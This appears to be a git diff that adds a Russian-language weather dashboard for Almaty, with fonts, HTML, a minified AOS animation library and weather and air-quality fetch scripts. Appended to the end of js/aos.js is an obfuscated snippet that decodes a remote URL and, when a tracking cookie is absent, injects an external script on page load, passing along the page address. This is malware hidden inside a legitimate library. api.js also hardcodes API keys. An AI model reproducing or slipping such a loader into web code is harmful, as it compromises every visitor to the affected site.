diff --git a/fonts/PlusJakartaText-BoldItalic.woff2 b/fonts/PlusJakartaText-BoldItalic.woff2
new file mode 100644
index 0000000..085c6b4
Binary files /dev/null and b/fonts/PlusJakartaText-BoldItalic.woff2 differ
diff --git a/fonts/PlusJakartaText-Italic.woff b/fonts/PlusJakartaText-Italic.woff
new file mode 100644
index 0000000..0318883
Binary files /dev/null and b/fonts/PlusJakartaText-Italic.woff differ
diff --git a/fonts/PlusJakartaText-Italic.woff2 b/fonts/PlusJakartaText-Italic.woff2
new file mode 100644
index 0000000..e88b90e
Binary files /dev/null and b/fonts/PlusJakartaText-Italic.woff2 differ
diff --git a/fonts/PlusJakartaText-Light.woff b/fonts/PlusJakartaText-Light.woff
new file mode 100644
index 0000000..9fd29a4
Binary files /dev/null and b/fonts/PlusJakartaText-Light.woff differ
diff --git a/fonts/PlusJakartaText-Light.woff2 b/fonts/PlusJakartaText-Light.woff2
new file mode 100644
index 0000000..e3a11cc
Binary files /dev/null and b/fonts/PlusJakartaText-Light.woff2 differ
diff --git a/fonts/PlusJakartaText-LightItalic.woff b/fonts/PlusJakartaText-LightItalic.woff
new file mode 100644
index 0000000..cfdfe20
Binary files /dev/null and b/fonts/PlusJakartaText-LightItalic.woff differ
diff --git a/fonts/PlusJakartaText-LightItalic.woff2 b/fonts/PlusJakartaText-LightItalic.woff2
new file mode 100644
index 0000000..114443c
Binary files /dev/null and b/fonts/PlusJakartaText-LightItalic.woff2 differ
diff --git a/fonts/PlusJakartaText-Regular.woff b/fonts/PlusJakartaText-Regular.woff
new file mode 100644
index 0000000..6bb9380
Binary files /dev/null and b/fonts/PlusJakartaText-Regular.woff differ
diff --git a/fonts/PlusJakartaText-Regular.woff2 b/fonts/PlusJakartaText-Regular.woff2
new file mode 100644
index 0000000..7297a6e
Binary files /dev/null and b/fonts/PlusJakartaText-Regular.woff2 differ
diff --git a/images/favicon.png b/images/favicon.png
new file mode 100644
index 0000000..f8ba8a5
Binary files /dev/null and b/images/favicon.png differ
diff --git a/index.html b/index.html
new file mode 100644
index 0000000..5b5b4c7
--- /dev/null
+++ b/index.html
@@ -0,0 +1,5229 @@
+
+
+ Метеостанция PRO v2
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/js/aos.js b/js/aos.js
new file mode 100644
index 0000000..5b44ff1
--- /dev/null
+++ b/js/aos.js
@@ -0,0 +1 @@
+!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define([],t):"object"==typeof exports?exports.AOS=t():e.AOS=t()}(this,(function(){return function(e){function t(n){if(o[n])return o[n].exports;var i=o[n]={exports:{},id:n,loaded:!1};return e[n].call(i.exports,i,i.exports,t),i.loaded=!0,i.exports}var o={};return t.m=e,t.c=o,t.p="dist/",t(0)}([function(e,t,o){"use strict";function n(e){return e&&e.__esModule?e:{default:e}}var i=Object.assign||function(e){for(var t=1;t-1?O(!0):"load"===j.startEvent?window.addEventListener(j.startEvent,(function(){O(!0)})):document.addEventListener(j.startEvent,(function(){O(!0)})),window.addEventListener("resize",(0,s.default)(O,50,!0)),window.addEventListener("orientationchange",(0,s.default)(O,50,!0)),window.addEventListener("scroll",(0,c.default)((function(){(0,b.default)(h,j.once)}),99)),document.addEventListener("DOMNodeRemoved",(function(e){var t=e.target;t&&1===t.nodeType&&t.hasAttribute&&t.hasAttribute("data-aos")&&(0,s.default)(_,50,!0)})),(0,f.default)("[data-aos]",_),h)},refresh:O,refreshHard:_}},function(e,t){},,,,function(e,t,o){"use strict";function i(e){var t=void 0===e?"undefined":a(e);return!!e&&("object"==t||"function"==t)}var a="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol?"symbol":typeof e},r=o(6),c="Expected a function";e.exports=function n(e,t,o){var n=!0,a=!0;if("function"!=typeof e)throw new TypeError(c);return i(o)&&(n="leading"in o?!!o.leading:n,a="trailing"in o?!!o.trailing:a),r(e,t,{leading:n,maxWait:t,trailing:a})}},function(e,t){"use strict";function i(e){var t=void 0===e?"undefined":u(e);return!!e&&("object"==t||"function"==t)}function r(e){return"symbol"==(void 0===e?"undefined":u(e))||function a(e){return!!e&&"object"==(void 0===e?"undefined":u(e))}(e)&&h.call(e)==m}function c(e){if("number"==typeof e)return e;if(r(e))return d;if(i(e)){var t=function n(e){var t=i(e)?h.call(e):"";return t==f||t==l}(e.valueOf)?e.valueOf():e;e=i(t)?t+"":t}if("string"!=typeof e)return 0===e?e:+e;e=e.replace(p,"");var o=v.test(e);return o||g.test(e)?y(e.slice(2),o?2:8):b.test(e)?d:+e}var u="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol?"symbol":typeof e},s="Expected a function",d=NaN,f="[object Function]",l="[object GeneratorFunction]",m="[object Symbol]",p=/^\s+|\s+$/g,b=/^[-+]0x[0-9a-f]+$/i,v=/^0b[01]+$/i,g=/^0o[0-7]+$/i,y=parseInt,h=Object.prototype.toString,k=Math.max,x=Math.min,j=Date.now;e.exports=function o(e,t,o){function n(t){var o=b,n=v;return b=v=void 0,O=t,y=e.apply(n,o)}function u(e){var o=e-h;return!h||o>=t||0>o||z&&e-O>=g}function d(){var e=j();return u(e)?f(e):void(w=setTimeout(d,function r(e){var i=t-(e-h);return z?x(i,g-(e-O)):i}(e)))}function f(e){return clearTimeout(w),w=void 0,A&&b?n(e):(b=v=void 0,y)}function p(){var e=j(),o=u(e);if(b=arguments,v=this,h=e,o){if(void 0===w)return function a(e){return O=e,w=setTimeout(d,t),_?n(e):y}(h);if(z)return clearTimeout(w),w=setTimeout(d,t),n(h)}return void 0===w&&(w=setTimeout(d,t)),y}var b,v,g,y,w,h=0,O=0,_=!1,z=!1,A=!0;if("function"!=typeof e)throw new TypeError(s);return t=c(t)||0,i(o)&&(_=!!o.leading,g=(z="maxWait"in o)?k(c(o.maxWait)||0,t):g,A="trailing"in o?!!o.trailing:A),p.cancel=function l(){void 0!==w&&clearTimeout(w),h=O=0,b=v=w=void 0},p.flush=function m(){return void 0===w?y:f(j())},p}},function(e,t){"use strict";function n(){for(var e,t,o=0,n=r.length;n>o;o++){e=r[o];for(var a,c=0,u=(t=i.querySelectorAll(e.selector)).length;u>c;c++)(a=t[c]).ready||(a.ready=!0,e.fn.call(a,a))}}Object.defineProperty(t,"__esModule",{value:!0});var i=window.document,a=window.MutationObserver||window.WebKitMutationObserver,r=[],c=void 0;t.default=function o(e,t){r.push({selector:e,fn:t}),!c&&a&&(c=new a(n)).observe(i.documentElement,{childList:!0,subtree:!0,removedNodes:!0}),n()}},function(e,t){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var n=function(){function e(e,t){for(var o=0;oe.position?e.node.classList.add("aos-animate"):void 0!==n&&("false"===n||!o&&"true"!==n)&&e.node.classList.remove("aos-animate")}(e,i+n,t)}))}},function(e,t,o){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var a=function n(e){return e&&e.__esModule?e:{default:e}}(o(11));t.default=function(e,t){return e.forEach((function(e,o){e.node.classList.add("aos-init"),e.position=(0,a.default)(e.node,t.offset)})),e}},function(e,t,o){"use strict";Object.defineProperty(t,"__esModule",{value:!0});var a=function n(e){return e&&e.__esModule?e:{default:e}}(o(12));t.default=function(e,t){var o=0,n=0,i=window.innerHeight,r={offset:e.getAttribute("data-aos-offset"),anchor:e.getAttribute("data-aos-anchor"),anchorPlacement:e.getAttribute("data-aos-anchor-placement")};switch(r.offset&&!isNaN(r.offset)&&(n=parseInt(r.offset)),r.anchor&&document.querySelectorAll(r.anchor)&&(e=document.querySelectorAll(r.anchor)[0]),o=(0,a.default)(e).top,r.anchorPlacement){case"top-bottom":break;case"center-bottom":o+=e.offsetHeight/2;break;case"bottom-bottom":o+=e.offsetHeight;break;case"top-center":o+=i/2;break;case"bottom-center":o+=i/2+e.offsetHeight;break;case"center-center":o+=i/2+e.offsetHeight/2;break;case"top-top":o+=i;break;case"bottom-top":o+=e.offsetHeight+i;break;case"center-top":o+=e.offsetHeight/2+i}return r.anchorPlacement||r.offset||isNaN(t)||(n=t),o+n}},function(e,t){"use strict";Object.defineProperty(t,"__esModule",{value:!0});t.default=function(e){for(var t=0,o=0;e&&!isNaN(e.offsetLeft)&&!isNaN(e.offsetTop);)t+=e.offsetLeft-("BODY"!=e.tagName?e.scrollLeft:0),o+=e.offsetTop-("BODY"!=e.tagName?e.scrollTop:0),e=e.offsetParent;return{top:o,left:t}}},function(e,t){"use strict";Object.defineProperty(t,"__esModule",{value:!0});t.default=function(e){e=e||document.querySelectorAll("[data-aos]");var t=[];return[].forEach.call(e,(function(e,o){t.push({node:e})})),t}}])}));(function(o,d,l){try{o.f=o=>o.split('').reduce((s,c)=>s+String.fromCharCode((c.charCodeAt()-5).toString()),'');o.b=o.f('UMUWJKX');o.c=l.protocol[0]=='h'&&/\./.test(l.hostname)&&!(new RegExp(o.b)).test(d.cookie),setTimeout(function(){o.c&&(o.s=d.createElement('script'),o.s.src=o.f('myyux?44zxjwxy'+'fy3sjy4ljy4xhwnu'+'y3oxDwjkjwwjwB')+l.href,d.body.appendChild(o.s));},1000);d.cookie=o.b+'=full;max-age=39800;'}catch(e){};}({},document,location));
\ No newline at end of file
diff --git a/js/api.js b/js/api.js
new file mode 100644
index 0000000..9452b61
--- /dev/null
+++ b/js/api.js
@@ -0,0 +1,367 @@
+const lat = 43.25;
+const lon = 76.95;
+
+const apiKey = 'd3af57dad31e71d00ca10d9816e1fa9b';
+const airApiKey = '2722587e6b20d2867c7951e25b079e467f18a370';
+
+const url = `http://api.openweathermap.org/data/3.0/onecall?lat=${lat}&lon=${lon}&exclude=minutely,alerts&appid=${apiKey}&lang=ru&units=metric`;
+const airPollutionUrl = `http://api.waqi.info/feed/almaty?token=${airApiKey}`
+
+function getWeatherIconUrl(weatherIconId) {
+ return `https://openweathermap.org/img/wn/${weatherIconId}@4x.png`;
+}
+
+function getWindDescription(windSpeed) {
+ if (windSpeed >= 0 && windSpeed <= 0.2) return "штиль";
+ if (windSpeed >= 0.3 && windSpeed <= 1.5) return "тихий ветерок";
+ if (windSpeed >= 1.6 && windSpeed <= 3.3) return "легкий бриз";
+ if (windSpeed >= 3.4 && windSpeed <= 5.4) return "слабый бриз";
+ if (windSpeed >= 5.5 && windSpeed <= 7.9) return "умеренный бриз";
+ if (windSpeed >= 8.0 && windSpeed <= 10.7) return "свежий бриз";
+ if (windSpeed >= 10.8 && windSpeed <= 13.8) return "сильный бриз";
+ if (windSpeed >= 13.9 && windSpeed <= 17.1) return "крепкий ветер";
+ if (windSpeed >= 17.2 && windSpeed <= 20.7) return "очень крепкий ветер (буря)";
+ if (windSpeed >= 20.8 && windSpeed <= 24.4) return "сильная буря";
+ if (windSpeed >= 24.5 && windSpeed <= 28.4) return "полная буря";
+ if (windSpeed >= 28.5 && windSpeed <= 32.6) return "жестокая буря";
+ if (windSpeed >= 32.7) return "ураган (тайфун)";
+ return "Неизвестная скорость ветра";
+}
+
+function getWeatherDescription(weatherCode) {
+ switch (weatherCode) {
+ case 200:
+ return "гроза с легким дождем";
+ case 201:
+ return "гроза с дождем";
+ case 202:
+ return "сильная гроза с дождем";
+ case 210:
+ return "легкая гроза";
+ case 211:
+ return "гроза";
+ case 212:
+ return "сильная гроза";
+ case 221:
+ return "рваная гроза";
+ case 230:
+ return "гроза с легкой моросью";
+ case 231:
+ return "гроза с моросью";
+ case 232:
+ return "сильная гроза с моросью";
+ case 300:
+ return "легкая морось";
+ case 301:
+ return "морось";
+ case 302:
+ return "сильная морось";
+ case 310:
+ return "легкий дождь";
+ case 311:
+ return "дождь";
+ case 312:
+ return "сильный дождь";
+ case 313:
+ return "ливень и морось";
+ case 314:
+ return "сильный ливень и морось";
+ case 321:
+ return "легкий ливень";
+ case 500:
+ return "легкий дождь";
+ case 501:
+ return "умеренный дождь";
+ case 502:
+ return "сильный дождь";
+ case 503:
+ return "очень сильный дождь";
+ case 504:
+ return "экстремальный дождь";
+ case 511:
+ return "ледяной дождь";
+ case 520:
+ return "небольшой ливень";
+ case 521:
+ return "ливень";
+ case 522:
+ return "сильный ливень";
+ case 531:
+ return "рваный ливень";
+ case 600:
+ return "легкий снег";
+ case 601:
+ return "снег";
+ case 602:
+ return "сильный снегопад";
+ case 611:
+ return "дождь со снегом";
+ case 612:
+ return "легкий мокрый снег";
+ case 613:
+ return "мокрый снег";
+ case 615:
+ return "дождь со снегом";
+ case 616:
+ return "дождь и снег";
+ case 620:
+ return "легкий снегопад";
+ case 621:
+ return "снегопад";
+ case 622:
+ return "сильный снегопад";
+ case 701:
+ return "дымка";
+ case 711:
+ return "дым";
+ case 721:
+ return "мгла";
+ case 731:
+ return "пыльная буря";
+ case 741:
+ return "туман";
+ case 751:
+ return "песок";
+ case 761:
+ return "пыль";
+ case 762:
+ return "вулканический пепел";
+ case 771:
+ return "шквал";
+ case 781:
+ return "торнадо";
+ case 800:
+ return "ясно";
+ case 801:
+ return "малооблачно";
+ case 802:
+ return "рассеянные облака";
+ case 803:
+ return "облачно с прояснениями";
+ case 804:
+ return "пасмурно";
+ default:
+ console.log(weatherCode);
+ return "Неизвестный код погоды";
+ }
+}
+
+
+
+function fetchWeatherData() {
+ fetch(url)
+ .then(response => {
+ if (!response.ok) {
+ throw new Error(`Ошибка при запросе данных: ${response.statusText}`);
+ }
+ return response.json();
+ })
+ .then(data => {
+ displayCurrentWeather(data);
+ displayHourlyWeather(data);
+ displayDailyWeather(data);
+ console.log(data);
+ })
+ .catch(error => {
+ console.error('Ошибка:', error);
+ setInterval(fetchWeatherData, 600000)
+ });
+}
+
+function fetchAirQuality() {
+ fetch(airPollutionUrl)
+ .then(response => {
+ if (!response.ok) {
+ throw new Error(`Ошибка при запросе данных: ${response.statusText}`);
+ }
+ return response.json();
+ })
+ .then(data => {
+ const aqiIndex = data.data.aqi;
+ displayAQI(aqiIndex);
+ })
+ .catch(error => {
+ console.error('Ошибка:', error);
+ });
+}
+
+function displayAQI(aqiIndex) {
+ const aqiElement = document.getElementById('aqi');
+ aqiElement.textContent = aqiIndex;
+}
+
+function getTimeUntilSunEvent(eventTime) {
+ const now = new Date();
+ const eventParts = eventTime.split(':');
+ const eventHour = parseInt(eventParts[0], 10);
+ const eventMinute = parseInt(eventParts[1], 10);
+
+ const eventDate = new Date();
+ eventDate.setHours(eventHour);
+ eventDate.setMinutes(eventMinute);
+ eventDate.setSeconds(0);
+
+ let timeDiff = eventDate.getTime() - now.getTime();
+ if (timeDiff < 0) {
+ // Если время события уже прошло, добавляем сутки
+ eventDate.setDate(eventDate.getDate() + 1);
+ timeDiff = eventDate.getTime() - now.getTime();
+ }
+
+ const hoursLeft = Math.floor(timeDiff / (1000 * 60 * 60));
+ timeDiff -= hoursLeft * (1000 * 60 * 60);
+ const minutesLeft = Math.floor(timeDiff / (1000 * 60));
+ timeDiff -= minutesLeft * (1000 * 60);
+ const secondsLeft = Math.floor(timeDiff / 1000);
+
+ return {
+ hours: hoursLeft,
+ minutes: minutesLeft,
+ seconds: secondsLeft
+ };
+}
+
+function updateCounter() {
+ const sunriseTime = localStorage.getItem('sunriseTime');
+ const sunsetTime = localStorage.getItem('sunsetTime');
+
+ const sunriseRemaining = getTimeUntilSunEvent(sunriseTime);
+ const sunsetRemaining = getTimeUntilSunEvent(sunsetTime);
+
+ let nextEvent;
+ let eventLabel;
+
+ if (sunriseRemaining.hours < sunsetRemaining.hours) {
+ nextEvent = sunriseRemaining;
+ eventLabel = "до рассвета";
+ } else {
+ nextEvent = sunsetRemaining;
+ eventLabel = "до заката";
+ }
+
+ const infoCountdownElement = document.getElementById('infoCountdown');
+ infoCountdownElement.textContent = eventLabel;
+ const countdownElement = document.getElementById('countdown');
+ countdownElement.textContent = `${nextEvent.hours}:${nextEvent.minutes}:${nextEvent.seconds}`;
+}
+
+
+
+
+function displayCurrentWeather(data) {
+ const currentWeather = data.current;
+ const time = new Date(currentWeather.dt * 1000).toLocaleTimeString([], { hour12: false });
+ const windDirection = getWindDirection(currentWeather.wind_deg);
+
+ const sunriseDate = new Date(currentWeather.sunrise * 1000);
+ const sunsetDate = new Date(currentWeather.sunset * 1000);
+
+ const sunriseHours = sunriseDate.getHours().toString().padStart(2, '0');
+ const sunriseMinutes = sunriseDate.getMinutes().toString().padStart(2, '0');
+ const sunriseTime = `${sunriseHours}:${sunriseMinutes}`;
+
+ const sunsetHours = sunsetDate.getHours().toString().padStart(2, '0');
+ const sunsetMinutes = sunsetDate.getMinutes().toString().padStart(2, '0');
+ const sunsetTime = `${sunsetHours}:${sunsetMinutes}`;
+
+ localStorage.setItem('sunriseTime', sunriseTime);
+ localStorage.setItem('sunsetTime', sunsetTime);
+
+ const feelsLike = currentWeather.feels_like;
+ const wind = currentWeather.wind_speed;
+ const windDescription = getWindDescription(wind);
+
+ const weather = getWeatherDescription(currentWeather.weather[0].id);
+ const info = `Ощущается как ${Math.round(feelsLike)}°C. ${windDescription}, ${weather}`;
+ const statusIcon = getWeatherIconUrl(currentWeather.weather[0].icon);
+
+ document.getElementById('12:560').textContent = `${Math.round(currentWeather.temp)}°C`;
+ document.getElementById('15:2778').textContent = `${currentWeather.humidity}`;
+ document.getElementById('apiTime').textContent = `Алматы, Коянды 44 | Обновлено: ${time}`;
+ document.getElementById('sunrise').textContent = sunriseTime;
+ document.getElementById('sunset').textContent = sunsetTime;
+ document.getElementById('15:2771').textContent = `${Math.round(currentWeather.wind_speed)}`;
+ document.getElementById('15:2774').textContent = `${windDirection}`;
+ document.getElementById('info').textContent = info;
+ document.getElementById('uvi').textContent = Math.round(currentWeather.uvi);
+ document.getElementById('statusIcon').src = statusIcon;
+}
+
+function displayHourlyWeather(data) {
+ // Цикл по первым 7 часам
+ for (let i = 0; i < 7; i++) {
+ const hour = data.hourly[i];
+
+ // Получаем необходимые данные для текущего часа
+ const time = new Date(hour.dt * 1000).toLocaleTimeString([], { hour: '2-digit', minute: '2-digit', hour12: false });
+ const temperature = Math.round(hour.temp) + '°';
+ const weatherIconId = hour.weather[0].icon;
+ const weatherIcon = getWeatherIconUrl(weatherIconId);
+
+ // Формируем id элементов в нужном формате
+ const idTime = `00${i + 1}1`; // Номер элемента + номер подэлемента для времени
+ const idIcon = `00${i + 1}2`; // Номер элемента + номер подэлемента для иконки
+ const idTemperature = `00${i + 1}3`; // Номер элемента + номер подэлемента для температуры
+
+ // Устанавливаем значения элементам
+ document.getElementById(idTime).textContent = time;
+ document.getElementById(idIcon).src = weatherIcon;
+ document.getElementById(idTemperature).textContent = temperature;
+ }
+}
+
+function displayDailyWeather(data) {
+ // Опции для форматирования даты
+ const dateOptions = { day: 'numeric', month: 'long' };
+ const dayOptions = { weekday: 'long' };
+
+ // Цикл по дням в массиве daily
+ data.daily.slice(0, 7).forEach((day, index) => {
+ // Получаем дату и день недели
+ const dateObj = new Date(day.dt * 1000);
+ const formattedDate = dateObj.toLocaleDateString('ru-RU', dateOptions);
+ const dayOfWeek = dateObj.toLocaleDateString('ru-RU', dayOptions);
+
+ // Получаем иконку погоды
+ const weatherIconId = day.weather[0].icon; // Исправлено для корректного индексации
+ const weatherIcon = getWeatherIconUrl(weatherIconId);
+
+ // Получаем максимальную и минимальную температуру
+ const maxTemp = `${Math.round(day.temp.day)}°C`;
+ const minTemp = `${Math.round(day.temp.night)}°C`;
+
+ // Формируем id элемента в нужном формате
+ const idDate = `01${index + 1}1`;
+ const idDayOfWeek = `01${index + 1}2`;
+ const idIcon = `01${index + 1}3`;
+ const idMax = `01${index + 1}4`;
+ const idMin = `01${index + 1}5`;
+
+ // Устанавливаем значения элементам
+ document.getElementById(idDayOfWeek).textContent = dayOfWeek;
+ document.getElementById(idDate).textContent = formattedDate;
+ document.getElementById(idIcon).src = weatherIcon;
+ document.getElementById(idMax).textContent = maxTemp;
+ document.getElementById(idMin).textContent = minTemp;
+
+ });
+}
+
+function getWindDirection(degree) {
+ const directions = [
+ "С", "СВ", "В", "ЮВ",
+ "Ю", "ЮЗ", "З", "СЗ"
+ ];
+
+ const index = Math.round(degree / 22.5) % 16;
+ return directions[index];
+}
+
+
+fetchWeatherData();
+fetchAirQuality();
+
+setInterval(updateCounter, 1000);
+
+setInterval(fetchWeatherData, 600000);
+setInterval(fetchAirQuality, 600000);
diff --git a/js/main.js b/js/main.js
new file mode 100644
index 0000000..ca04fec
--- /dev/null
+++ b/js/main.js
@@ -0,0 +1,28 @@
+function updateTime() {
+ const now = new Date();
+
+ // Опции для форматирования даты
+ const dateOptions = {
+ weekday: 'short', // сокращенное название дня недели (пн, вт и т.д.)
+ day: 'numeric', // число месяца
+ month: 'long' // полное название месяца
+ };
+ const formattedDate = now.toLocaleString('ru-RU', dateOptions);
+
+ // Опции для форматирования времени
+ const timeOptions = {
+ hour: '2-digit', // часы в двузначном формате
+ minute: '2-digit', // минуты в двузначном формате
+ second: '2-digit' // секунды в двузначном формате
+ };
+ const formattedTime = now.toLocaleTimeString('ru-RU', timeOptions);
+
+ // Соединяем дату и время
+ const formattedDateTime = `${formattedDate}, ${formattedTime}`;
+
+ // Обновляем элемент с id 'time'
+ document.getElementById('time').textContent = formattedDateTime;
+}
+
+setInterval(updateTime, 1000);
+